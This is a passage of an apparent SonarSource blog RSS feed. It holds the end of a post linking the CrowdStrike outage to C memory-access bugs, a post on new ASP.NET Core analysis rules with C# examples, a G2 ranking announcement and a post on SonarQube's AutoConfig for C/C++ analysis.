}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;You can find out more about uninitialized variables in our &lt;a href=&quot;https://rules.sonarsource.com/c/RSPEC-836/&quot;&gt;S836 &lt;/a&gt;rule documentation.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The lack of variable initialization is one type of issue that can lead to out-of-bounds memory reads, which is mentioned in the preliminary post-incident review release by CrowdStrike [&lt;a href=&quot;https://www.crowdstrike.com/falcon-content-update-remediation-and-guidance-hub/&quot;&gt;source&lt;/a&gt;]. But other issues can lead to out-of-bounds memory reads as well. Let’s have a look at these issues in general.&lt;/p&gt;&lt;h3&gt;Out-of-bound Memory Access&lt;/h3&gt;&lt;p&gt;Arrays and buffers are contiguous blocks of memory accessed using numerical indices to reference individual elements. Array overruns and buffer overflows occur when memory access accidentally exceeds the boundary of the allocated array or buffer. These overreaching accesses cause some of the most damaging and difficult-to-track defects. Not only do these faulty accesses constitute undefined behavior, but they frequently introduce security vulnerabilities, too.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This type of issue can, for example, occur when referencing elements of an array:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;void access_exceeds(void) {
  int id_sequence[3];
  id_sequence[0] = 100;
  id_sequence[1] = 200;
  id_sequence[2] = 300;
  // Noncompliant: memory access is out of bounds
  id_sequence[3] = 400;
  // Accessed memory exceeds upper limit of memory block
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In a similar fashion, a pointer can access out-of-bound memory:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;void access_precedes(int x) {
  int buf[100];
  int *p = buf;
  --p;
  // Noncompliant: memory access is out of bounds
  p[0] = 9001;
  // Accessed memory precedes memory block
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Furthermore, unsafe calls to functions like &lt;code&gt;memcpy&lt;/code&gt; may introduce out-of-bound memory access:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;void memcpy_example(void) {
  char src[] = {1, 2, 3, 4};
  char dst[10];
  // Noncompliant: memory copy function accesses out-of-bound array element
  memcpy(dst, src, 5);
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;You can find out more about out-of-bound memory access in our &lt;a href=&quot;https://rules.sonarsource.com/c/RSPEC-3519/&quot;&gt;S3519&lt;/a&gt; rule documentation.&lt;/p&gt;&lt;h2&gt;What We Can Takeaway from the CrowdStrike Outage&lt;/h2&gt;&lt;p&gt;Bugs are an inevitable part of software development and regularly occur in code – all code is susceptible. Here, we illustrated how three different types of bugs can lead to an outage just like this one. While the affected source code is not published, it becomes evident that fixing all of these issues is essential.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This outage reminds us of the impact that even a small code issue can have – the financial damage alone could reach tens of billions of dollars [&lt;a href=&quot;https://www.reuters.com/technology/insurers-face-business-interruption-claims-after-global-tech-outage-2024-07-19/&quot;&gt;source&lt;/a&gt;].&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;A lot of attention is paid to software and code security, but &lt;a href=&quot;https://www.sonarsource.com/solutions/reliability/&quot;&gt;reliability&lt;/a&gt; and &lt;a href=&quot;https://www.sonarsource.com/solutions/maintainability/&quot;&gt;maintainability&lt;/a&gt; issues are often neglected. You can talk to our team about finding and fixing these issues early in the development process &lt;a href=&quot;https://www.sonarsource.com/request-demo/&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/the-true-cost-of-bad-code-in-software-development/&quot;&gt;The True Cost of Bad Code in Software Development&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/technical-debt-s-impact-on-development-speed-and-code-quality/&quot;&gt;Technical debt’s impact on development speed and code quality&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/unraveling-the-costs-of-bad-code-in-software-development/&quot;&gt;Unraveling the Costs of Bad Code in Software Development&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[ASP.NET Core Web Apps]]></title><description><![CDATA[Sonar recently added new rules for ASP.NET WebAPI and ASP.NET MVC. In this blog post, we discuss the details of these frameworks within ASP.NET Core and how Sonar’s solutions help keep your ASP.NET web apps clean and free of issues.]]></description><link>https://www.sonarsource.com/blog/asp-net-core-web-apps</link><guid isPermaLink="false">40df30cc-e956-51b6-ad8c-282081cad224</guid><dc:creator><![CDATA[Denis Troller]]></dc:creator><pubDate>Wed, 24 Jul 2024 14:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We are always looking at the best way to help ASP.NET Core developers deliver quality code. This year, we wanted to tackle problems developers face building ASP.NET Web Apps to complement the work we started last year for the Blazor framework.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We looked in detail at some big and small problems that can crop up when using ASP.NET Core, whether in ASP.NET MVC or ASP.NET WebAPI. It was not easy because ASP.NET Core is such a huge framework, but we devised a set of rules that tackle the biggest problems facing developers. We released those rules in May on SonarCloud and in July with the 10.6 SonarQube release. Now it’s time to give you insight into where we thought we could best help you develop ASP.NET Web Apps in C#.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h1&gt;What defines quality for ASP.NET web apps?&lt;/h1&gt;&lt;p&gt;There are many ways to evaluate the quality of a code base for ASP.NET web apps. We decided to take a stance on some issues we looked at and tackle some issues, such as&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Controller Bloat&lt;/li&gt;&lt;li&gt;Endpoint performance&lt;/li&gt;&lt;li&gt;Metadata coherence and API documentation&lt;/li&gt;&lt;li&gt;Model definition and validation&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h1&gt;Controller Bloat&lt;/h1&gt;&lt;p&gt;We know that Controllers are an easily abused pattern. Lack of experience and tight deadlines sometimes lead to bad decisions that compound over time.&lt;/p&gt;&lt;p&gt;There are excellent open-source projects out there that help keep Controllers lean.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;ApiEndpoints by Steve Smith (Ardalis), to keep the classes very focused,&lt;/li&gt;&lt;li&gt;MediatR by Jimmy Bogard &lt;/li&gt;&lt;li&gt;Wolverine by Jeremy D. Miller to delegate the work to handlers and keep your endpoints as simple as possible.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;We would advise you to look at these, but not everyone can use them, and we all know from experience how easy it is to “just add one action on this Controller.”&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To detect the slippery slope of adding actions, we added some rules targeting Routing and one rule detecting mixed responsibilities, which I want to focus on here. Rule &lt;a href=&quot;https://rules.sonarsource.com/csharp/tag/asp.net/RSPEC-6960/&quot;&gt;S6960&lt;/a&gt; identifies unrelated actions and helps you extract them into separate Controllers. Sonar will detect actions that do not share dependencies and group them for you so you can easily move them. This keeps your Controllers focused and limits useless service resolution.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Please provide feedback on this rule. We believe it is important, and it was tricky to implement. You can share your experience with the rule and your ideas in &lt;a href=&quot;https://community.sonarsource.com&quot;&gt;our community&lt;/a&gt;!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h1&gt;Endpoint Performance of ASP.NET Web Apps&lt;/h1&gt;&lt;p&gt;ASP.NET Core is an astonishing work of performance, and unfortunately, developers often miss out on some of its benefits by not updating their code to leverage the latest advancements. Let’s take a closer look at a few of them.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Most developers know by now that Actions should be asynchronous. Still, it is common to miss opportunities to use async versions of existing methods, whether because we do not know async versions are available or because the code predates the appearance of the async version.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Rule &lt;a href=&quot;https://rules.sonarsource.com/csharp/tag/async-await/RSPEC-6966/&quot;&gt;S6966&lt;/a&gt; identifies opportunities to switch to an asynchronous version of a method. It will help you keep your web server humming and take full advantage of the nature of ASP.NET Core.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;By the way, this rule is not specific to ASP.NET web apps and will trigger in any async method, helping you whether you are a web developer or not!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For example, take this example. It is admittedly useless, but it will give you an idea of what we find:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public async Task Examples(Stream stream, DbSet&lt;Person&gt; dbSet)
{
    stream.Read(array, 0, 1024);           
    File.ReadAllLines(&quot;path&quot;);              
    dbSet.ToList();                         
    dbSet.FirstOrDefault(x =&gt; x.Age &gt;= 18); 
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Sonar will flag this and help you refactor it to&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public async Task Examples(Stream stream, DbSet&lt;Person&gt; dbSet)
{
    await stream.ReadAsync(array, 0, 1024);
    await File.ReadAllLinesAsync(&quot;path&quot;);
    await dbSet.ToListAsync();
    await dbSet.FirstOrDefaultAsync(x =&gt; x.Age &gt;= 18);
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Another area where the .NET team made progress is resource pooling for HTTP connections. If you develop code that needs to call another Web API, you traditionally use HttpClient. Because making connections with HttpClient is expensive, .NET 8 introduced IHttpClientFactory. In addition to the performance concerns, many other concerns exist when using HttpClient, such as Configuration, Resiliency, and Logging. &lt;a href=&quot;https://rules.sonarsource.com/csharp/tag/asp.net/RSPEC-6962/&quot;&gt;Rule S6962&lt;/a&gt; detects the usage of HttpClient and recommends using the new IHttpClientFactory instead, helping you take advantage of its benefits.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h1&gt;Metadata coherence and API documentation&lt;/h1&gt;&lt;p&gt;Writing a good REST API is no small feat. Once written, it needs to be well documented. Thankfully, we have OpenApi for that and great packages such as &lt;a href=&quot;https://github.com/domaindrivendev/Swashbuckle.AspNetCore&quot;&gt;Swashbuckle&lt;/a&gt;. However, these tools rely on good metadata to do their job.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Developers often make mistakes when adding the required attributes to document your API or forget to add the metadata altogether. The only thing worse than no documentation is misleading documentation.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Rule &lt;a href=&quot;https://rules.sonarsource.com/csharp/tag/asp.net/RSPEC-6968/&quot;&gt;S6968&lt;/a&gt; detects missing ProducesResponseType attributes when you use the Swagger middleware. This ensures your API is properly documented from day one.&lt;/p&gt;&lt;p&gt;For example, this code:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;[HttpGet(&quot;foo&quot;)]

public IActionResult MagicNumber() =&gt; Ok(42);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Will be detected, and you will be prompted to change it to:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;[HttpGet(&quot;foo&quot;)]

[ProducesResponseType&lt;int&gt;(StatusCodes.Status200OK)]

public IActionResult MagicNumber() =&gt; Ok(42);&lt;/code&gt;&lt;/pre&gt;&lt;h1&gt;&lt;br/&gt;&lt;/h1&gt;&lt;h1&gt;Model and validation&lt;/h1&gt;&lt;p&gt;Model binding is a feature of ASP.NET Core that allows parsing the incoming request into complex objects. It makes your code much more readable and secure. However, some old code that does not take advantage of model binding might still be lurking. Rule &lt;a href=&quot;https://rules.sonarsource.com/csharp/tag/asp.net/RSPEC-6932/&quot;&gt;S6932 &lt;/a&gt;detects when your code accesses the request directly instead of relying on model binding.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It will flag code such as:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public IActionResult Post()
{
    var name = Request.Form[&quot;name&quot;];                                           // Noncompliant: Request.Form
    var birthdate = DateTime.Parse(Request.Form[&quot;Birthdate&quot;]); // Noncompliant: Request.Form
    var origin = Request.Headers[HeaderNames.Origin];              // Noncompliant: Request.Headers
    var locale = Request.Query.TryGetValue(&quot;locale&quot;, out var locales)
        ? locales.ToString()
        : &quot;en-US&quot;;                                                                                // Noncompliant: Request.Query
    // ..
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;You will be prompted to replace it with:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public record User
{
    [Required, StringLength(100)]
    public required string Name { get; init; }
    [DataType(DataType.Date)]
    public DateTime Birthdate { get; init; }
}

public IActionResult Post(User user, [FromHeader] string origin, [FromQuery] string locale = &quot;en-US&quot;)
{
    if (ModelState.IsValid)
    {
        // ...
    }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;A few more steps are needed to take full advantage of model binding. When using ASP.NET MVC, you should always check the property Model.IsValid to ensure the incoming request is parsed correctly and passes any validation you annotated your model with. If you fail to send the property, you could inadvertently send invalid values to the database, leading to: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;Performance loss&lt;/li&gt;&lt;li&gt;Unclear error messages&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Rule &lt;a href=&quot;https://rules.sonarsource.com/csharp/tag/asp.net/RSPEC-6967/&quot;&gt;S6967&lt;/a&gt; will detect actions missing the step to check the Model.IsValid property so that you can correct any mistake. Of course, this does not apply to ASP.NET WebAPI controllers (marked with the ApiController attribute) because the middleware does that for you and generates a proper HTTP status code response.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Finally, a good model needs to include proper annotation for validation. You should always make sure all properties reflect their nullability. If you do not, the model will pass validation but contain values you did not expect.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Rule &lt;a href=&quot;https://rules.sonarsource.com/csharp/tag/asp.net/RSPEC-6964/&quot;&gt;S6964&lt;/a&gt; will catch such errors, flagging code such as:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public class Product
{
    public int Id { get; set; }                         // Noncompliant
    public string Name { get; set; }
    public int NumberOfItems { get; set; }  // Noncompliant
    public decimal Price { get; set; }           // Noncompliant
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;It will prompt you to modify it in any of the following ways:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public class Product
{
    public required int Id { get; set; }
    public string Name { get; set; }
    public int? NumberOfItems { get; set; }            
    [JsonRequired] public decimal Price { get; set; }  
}&lt;/code&gt;&lt;/pre&gt;&lt;h1&gt;&lt;br/&gt;&lt;/h1&gt;&lt;h1&gt;What’s Next?&lt;/h1&gt;&lt;p&gt;These are just a few of the 12 rules we recently added. You can check out all our &lt;a href=&quot;https://rules.sonarsource.com/csharp/&quot;&gt;rules&lt;/a&gt; to see what they offer.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Many of our users have already provided feedback on the rules. Still, we are always eager to hear your thoughts, especially if any of them report incorrect or invalid results. Please share your feedback. It is a gift!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;These rules are available in SonarCloud and SonarQube 10.6 today and will soon be available in your SonarLint flavor. You can also simply install our &lt;a href=&quot;https://www.nuget.org/packages/SonarAnalyzer.CSharp&quot;&gt;standalone Nuget package&lt;/a&gt; to test them easily.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Go write Clean Code!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[G2 Review Static Code Analysis | Sonar Named a Leader in Grid Report]]></title><description><![CDATA[G2 has once again ranked Sonar #1 in Static Code Analysis in the Summer 2024 Grid Report. 
In addition to leading the pack in each of the Enterprise, Mid-Market, and Small Business segments for Static Code Analysis, Sonar was also named a leader in the Static Application Security Testing (SAST) category. ]]></description><link>https://www.sonarsource.com/blog/g2-review-static-code-analysis</link><guid isPermaLink="false">cde784fd-527e-50e1-8af3-2ba25bec1a67</guid><dc:creator><![CDATA[Zoe Bell]]></dc:creator><pubDate>Tue, 23 Jul 2024 13:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Summer’s here, and the sun is shining on Sonar. We’re thrilled to announce that G2 has once again ranked &lt;a href=&quot;https://www.g2.com/categories/static-code-analysis#grid&quot;&gt;Sonar #1 in Static Code Analysis in the Summer 2024 Grid Report&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;In addition to leading the pack in each of the Enterprise, Mid-Market, and Small Business segments for Static Code Analysis, Sonar was also named a leader in the Static Application Security Testing (SAST) category. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This recognition is based on multiple parameters, including customer requirements, ease of setup, implementation time, ease of use, and user adoption. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For over 15 years, Sonar has been helping organizations minimize risk, reduce technical debt, and derive more value from their software and we’re so honored to have our customers continually speak for us with this recognition. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.g2.com/products/searchunify/reviews&quot;&gt;G2&lt;/a&gt;, the world’s largest and most trusted software marketplace, releases quarterly Grid Reports and ranks products based on customers’ real-world experiences and high customer satisfaction levels. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;By mapping the competitive landscape for a category, G2 helps technology buyers understand the marketplace and make informed software purchasing decisions. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Here’s what customers have to say about Sonar: &lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;“A must for high-quality development. SonarQube helps to evaluate our code during the development itself. It provides a great amount of reviews/suggestions to improve our code. It also supports a variety of programming languages and is easy to use.”&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Ramakrishna B. System/Software Engineer &lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;&amp;quot;SonarQube is an excellent tool for maintaining code quality and enforcing code quality rules organization-wide.&amp;quot; &lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Rahul Singh. Technical Architect&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;&amp;quot;It majorly solves our problem by integrating into our DevOps tool chains such as Jenkins, Azure DevOps, GitHub, and GitLab, making it easy to incorporate SonarQube into existing workflows.&amp;quot;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Verified SonarQube User in the Sports Industry&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;“SonarQube became my main platform for consolidating unit test results, code coverage, and static code analysis. SonarQube Dashboard has become my benchmark for software development maturity.&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;Other static code analyzers can also report errors, but not like SonarQube, it shows very nice examples of compliant and non-compliant code. This has helped me a lot throughout my software development career.”  &lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Murtadha Bazli Tukimat Senior Embedded System Engineer, Starcopter&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;&amp;quot;Amazing user interface, fast learning curve, faster installation and deployment, good customer support, security scanning features, and code smells.&amp;quot; &lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Nltin Kumar, Enterprise Software&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;You can read all SonarQube reviews on the SonarQube &lt;a href=&quot;https://www.g2.com/products/sonarqube/reviews&quot;&gt;G2 page&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Check out our &lt;a href=&quot;https://www.sonarsource.com/lp/products/sonarqube/demo/&quot;&gt;interactive demo&lt;/a&gt; if you&amp;#x27;re curious to explore the features that have garnered this recognition. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Or, join the millions of developers using SonarQube to write code that leads to secure, reliable, and maintainable software by &lt;a href=&quot;https://www.sonarsource.com/lp/products/sonarqube/g2-leader/&quot;&gt;requesting a demo&lt;/a&gt; to see for yourself! &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/9f05d4d6-d197-49f3-8bf5-ce4a989fe0ad/g2-grid-review-static-code-analysis-summer-2x.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[AutoConfig: C++ Code Analysis Redefined]]></title><description><![CDATA[Abbas Sabra covers a groundbreaking technology: AutoConfig for C and C++. It automates the normally complex setup process, making project setup a breeze. AutoConfig is designed to make code analysis free of complications bringing Clean Code to the fingertips of every C and C++ developer.]]></description><link>https://www.sonarsource.com/blog/autoconfig-cpp-code-analysis-redefined</link><guid isPermaLink="false">2758d871-2fd3-53c3-9984-3fd3e21dc656</guid><dc:creator><![CDATA[Abbas Sabra]]></dc:creator><pubDate>Wed, 17 Jul 2024 05:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;C++ AutoConfig and SonarQube&lt;/h2&gt;&lt;p&gt;Welcome to the future of code analysis with SonarQube 10.6’s AutoConfig, where high-quality, &lt;a href=&quot;https://www.sonarsource.com/solutions/power-of-clean-code/&quot;&gt;Clean Code&lt;/a&gt; is not just an idea. It’s an instant reality for every C and C++ project. AutoConfig eliminates all the usual prerequisites: no specific compiler allegiance, no elaborate setup rituals, and no dependencies on your project’s build environment. Whether you’re working on an embedded project with a specialized, lesser-known compiler or a small, resource-strapped initiative, AutoConfig integrates seamlessly, offering an effortless path to code analysis. It eradicates the complexities of the past, where generating a Compilation Database and ensuring environment compatibility were necessary evils. Now, every developer can immediately start their journey to a cleaner, better code with minimal effort and maximum impact.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;From Configuration Chaos to Clarity&lt;/h2&gt;&lt;p&gt;Tools requiring an understanding of C and C++ code statically, such as code analysis, refactoring, and IntelliSense, typically ask developers to manually provide detailed configuration information on how their projects are compiled. This crucial setup involves specifying the ‘include’ search directories and macro definitions, which can drastically alter the code semantics by resolving different dependencies and tuning the preprocessor behavior. Each tool has a separate approach, often requiring unique configuration files, leading to a fragmented and labor-intensive setup process.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The advent of the &lt;a href=&quot;https://clang.llvm.org/docs/JSONCompilationDatabase.html&quot;&gt;Compilation Database&lt;/a&gt;, an innovation by the LLVM project, marked a significant leap forward. It offers a standardized JSON format that describes the compilation commands for each source file, helping unify the configuration process across different tools. However, generating this database is not straightforward and depends heavily on the build system. At Sonar, we designed the Build-Wrapper to simplify generating the Compilation Database by wrapping the build and capturing build commands. Still, it may be incompatible with some projects with restrictive build environments or non-standard toolchains. Alternatively, while CMake can generate a Compilation Database without a prior build, this option remains limited by the necessity for specific CMake generators and compilers. This requirement can render it impractical for many projects unable or unwilling to adapt their toolchain just for code analysis compatibility. Additionally, even with a Compilation Database generated by CMake, the analysis still needs to be performed post-build to account for any generated files and fetched dependencies. This necessity underscores the challenge: while a modern and flexible environment facilitates these requirements, mandating such conditions can be prohibitive. Projects tied to older or less adaptable systems may find this requirement a significant barrier to accessing advanced code analysis tools.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;AutoConfig in SonarQube 10.6 changes the game by automating the detection and configuration process. By scanning the project’s code and system libraries, AutoConfig applies heuristics to deduce a valid configuration that effectively compiles and analyzes the code, covering the most extensive codebase without needing manual intervention or specific build environments. For users who wish to fine-tune the analysis configuration, AutoConfig offers the flexibility to tune the computed settings through easy-to-use UI properties, making it a versatile and powerful tool for any C or C++ project.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Bridging Compiler Gaps&lt;/h2&gt;&lt;p&gt;The world of C and C++ development is vast, populated by an array of compilers, each with its own set of versions, language extensions, and command-line idiosyncrasies. Traditional code analysis tools struggle to support every possible compiler, especially older or domain-specific ones with private documentation and unique behaviors. This limitation has historically left many projects without access to advanced code analysis capabilities.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;AutoConfig introduces a groundbreaking solution to this problem. By modeling compiler behavior in a generic, resilient manner, AutoConfig can parse ambiguous code and handle language extensions effectively. It approaches incomplete code by recognizing what is known and treating the unknown as a black box, minimizing the risk of false positives. This strategy ensures that AutoConfig provides reliable static code analysis even in environments where conventional tools fail. As a result, code analysis becomes accessible and easy for projects using less mainstream compilers, democratizing high-quality software development across all domains.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Breaking Free from Environmental Constraints&lt;/h2&gt;&lt;p&gt;Traditional static code analysis tools are often hamstrung by the need for an analysis environment that exactly replicates the build environment. This requirement can inflate costs and complicate the integration within existing CI workflows, especially when the build is distributed across different machines or systems. The typical workaround has been to restructure CI pipelines to accommodate these tools, which often means complexifying and centralizing tasks unnaturally.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;With AutoConfig, these barriers are dismantled. AutoConfig leverages advanced techniques to emulate compiler behavior and dependency management without needing access to the original build tools or environments. This capability not only facilitates the use of secure, isolated analysis environments like Docker but also makes parallelizing the build and analysis more attainable. AutoConfig’s ability to adapt to various project needs without restructuring entire CI workflows revolutionizes how static code analysis is deployed, making it a seamless part of the development workflow rather than a disruptive one.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;One Step to Clean Code&lt;/h2&gt;&lt;p&gt;Prior to Sonar AutoConfig, onboarding a project and setting up effective code analysis required navigating a complex maze of configurations and setups tailored to different build systems, operating systems, and CI providers. SonarQube alone has over 30 C++ onboarding examples, covering variations using the Compilation Database approach. This highlights how overwhelming setting up and configuring C and C++ projects can be. Each example at&lt;a href=&quot;https://github.com/search?q=org%3Asonarsource-cfamily-examples+topic%3Acpp+topic%3Asonarqube&amp;type=repositories&quot;&gt; SonarSource’s CFamily examples&lt;/a&gt; demonstrates the extensive manual setup needed.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Contrast this with the revolutionary simplicity of AutoConfig to start analyzing your C or C++ project. You can simply run the SonarScanner CLI without any preconfiguration. The SonarScanner CLI does not require any C++ specific inputs. It operates seamlessly in the background, automatically adapting to your compiler, configuration, and environment. The &lt;a href=&quot;https://docs.sonarsource.com/sonarqube/latest/analyzing-source-code/languages/c-family/running-the-analysis/#sonarscanner-cli&quot;&gt;process&lt;/a&gt; is as straightforward as downloading the SonarScanner CLI and executing it on your codebase. SonarQube’s onboarding UI will walk you through a further streamlined process depending on your CI provider. For instance, GitHub users may use a GitHub Action that automates the download and execution of the SonarScanner. Similarly, tailored solutions exist for Bitbucket Pipelines, Azure DevOps, and GitLab, making onboarding virtually effortless across platforms.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Unlocking Clean Code for All&lt;/h2&gt;&lt;p&gt;Starting with SonarQube 10.6, C and C++ analysis enters a new era with AutoConfig, designed to make code analysis free of complications and more accessible to every project. AutoConfig automates the complex setup process traditionally associated with static code analysis, allowing you to achieve Clean Code with minimal configuration effort. For those who need to fine-tune the analysis, high-level scanner properties are easily adjustable and detailed in the&lt;a href=&quot;https://docs.sonarsource.com/sonarqube/latest/analyzing-source-code/languages/c-family/customizing-the-analysis/#autoconfig-specific-properties&quot;&gt; Customizing the Analysis with AutoConfig&lt;/a&gt; guide.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;While AutoConfig offers a streamlined approach, users requiring more control can still fall back on the Compilation Database mode. To understand the advantages and disadvantages of both modes, visit&lt;a href=&quot;https://docs.sonarsource.com/sonarqube/latest/analyzing-source-code/languages/c-family/analysis-modes/&quot;&gt; Choosing the Right Analysis Mode&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We eagerly anticipate your questions and feedback on AutoConfig. Join the discussion and share your experiences on the &lt;a href=&quot;https://community.sonarsource.com/&quot;&gt;Sonar Community Forum&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Ready to give AutoConfig a try? Get started with &lt;a href=&quot;https://www.sonarsource.com/plans-and-pricing/developer/&quot;&gt;SonarQube Developer Edition&lt;/a&gt;. 